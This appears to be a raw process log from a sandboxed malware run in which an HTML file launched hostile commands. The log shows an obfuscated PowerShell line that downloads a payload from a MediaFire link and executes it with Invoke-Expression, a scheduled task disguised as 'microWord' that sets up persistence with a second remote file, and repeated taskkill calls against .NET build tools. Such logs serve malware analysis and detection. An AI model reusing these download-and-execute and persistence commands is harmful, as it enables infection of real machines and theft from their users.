iexplore.exe "C:\Program Files\Internet Explorer\iexplore.exe" C:\Users\test22\AppData\Local\Temp\11.html
2220powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $MMMMMMM=((n`e`W`-Obj`E`c`T (('Net'+''+''+''+''+''+''+''+''+''+'.'+'W'+'eb'+'c'+''+''+''+''+''+''+''+''+''+'lient'))).(('D'+''+''+''+''+''+''+''+''+''+'o'+'w'+'n'+''+''+''+''+''+''+''+''+''+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).invoke((('https://www.mediafire.com/file/cqbvjh2mo0z6x96/11.dll/file'))));Invoke-Expression $MMMMMMM
2032schtasks.exe "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 96 /tn microWord /F /tr """C:\ProgramData\ddond.com""""""https://www.mediafire.com/file/jed71s95wqiens1/11.htm/file"""
2544taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im aspnet_compiler.exe
2860taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im RegAsm.exe
2864taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im InstallUtil.exe
2988taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im cvtres.exe
2144taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im vbc.exe
1408taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im msbuild.exe
660taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im csc.exe
1068taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im CasPol.exe
1548taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im jsc.exe
2588taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im RegAsm.exe
2816taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im RegSvcs.exe
240taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im aspnet_regiis.exe
2096taskkill.exe "C:\Windows\System32\taskkill.exe" /f /im aspnet_regbrowsers.exe
1696